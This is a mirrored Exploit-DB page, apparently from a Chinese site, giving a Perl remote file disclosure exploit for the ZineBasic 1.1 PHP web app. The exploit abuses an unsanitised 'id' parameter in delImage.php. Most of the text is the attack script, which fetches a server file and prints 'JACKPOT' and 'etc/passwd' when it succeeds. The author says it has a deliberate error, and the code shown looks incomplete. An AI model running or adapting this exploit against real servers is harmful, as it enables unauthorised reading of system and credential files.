ZineBasic 1.1 – Arbitrary File Disclosure - 体验盒子

作者： bd0rk

日期： 2016-09-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/40401/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

# Title: ZineBasic 1.1 Remote File Disclosure Exploit

# Author: bd0rk || East Germany former GDR

# Tested on: Ubuntu-Linux

# Vendor: http://w2scripts.com/news-publishing/

# Download: http://downloads.sourceforge.net/project/zinebasic/zinebasic/v1.1/zinebasic_v1.1_00182.zip?r=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fzinebasic%2F&ts=1474313108&use_mirror=master

# Twitter: twitter.com/bd0rk

#Greetings: zone-h.org, Curesec GmbH, SiteL GmbH, i:TECS GmbH, rgod, GoLd_M

----------------------------------------------------------------------------------

=> Vulnerable sourcecode in /zinebasic_v1.1_00182/articleImg/delImage.php line 12

=> Vulnerable snippet: $id = $_GET['id'];

----------------------------------------------------------------------------------

Exploitcode with little error inline 25-->'Gainst script-kiddies! || Copy&Paste:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#!/usr/bin/perl

use LWP::Simple;

use LWP::UserAgent;

sub ex()

{

print "Usage: perl $0 someone.com /ZineBasic_Dir/\n";

print "\nZineBasic 1.1 Remote File Disclosure Exploit\n";

print "\ Contact: twitter.com/bd0rk\n";

($host, $path, $under, $file,) = @ARGV;

$under="/articleImg/";

$file="delImage.php?id=[REMOTE_FILE]";

my $target = "http://".$host.$path.$under.$file;

my $usrAgent = LWP::UserAgent->new();

my $request = $usrAgent->get($target,":content_file"=>"[REMOTE_FILE]");

if ($request->is_success)

{

print "$target <= JACKPOT!\n\n";

print "etc/passwd\n";

exit();

}

else

{

print "Exploit $target FAILED!\n[!].$request->status_line.\n";

exit();

}